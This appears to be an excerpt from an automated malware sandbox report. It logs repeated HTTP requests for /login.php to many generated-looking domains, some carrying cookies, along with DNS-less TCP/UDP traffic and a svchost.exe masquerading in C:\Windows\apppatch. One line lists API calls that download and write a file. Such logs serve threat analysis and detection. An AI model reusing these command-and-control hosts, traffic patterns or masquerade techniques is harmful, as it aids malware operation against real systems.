Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347465\|1731347428\|10\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347473\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comCookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comCookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	TCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C839C0 memset,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,_snprintf,HttpAddRequestHeadersA,HttpSendRequestA,HttpQueryInfoA,CreateFileA,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,memset,InternetReadFile,WriteFile,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_02C839C0

Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
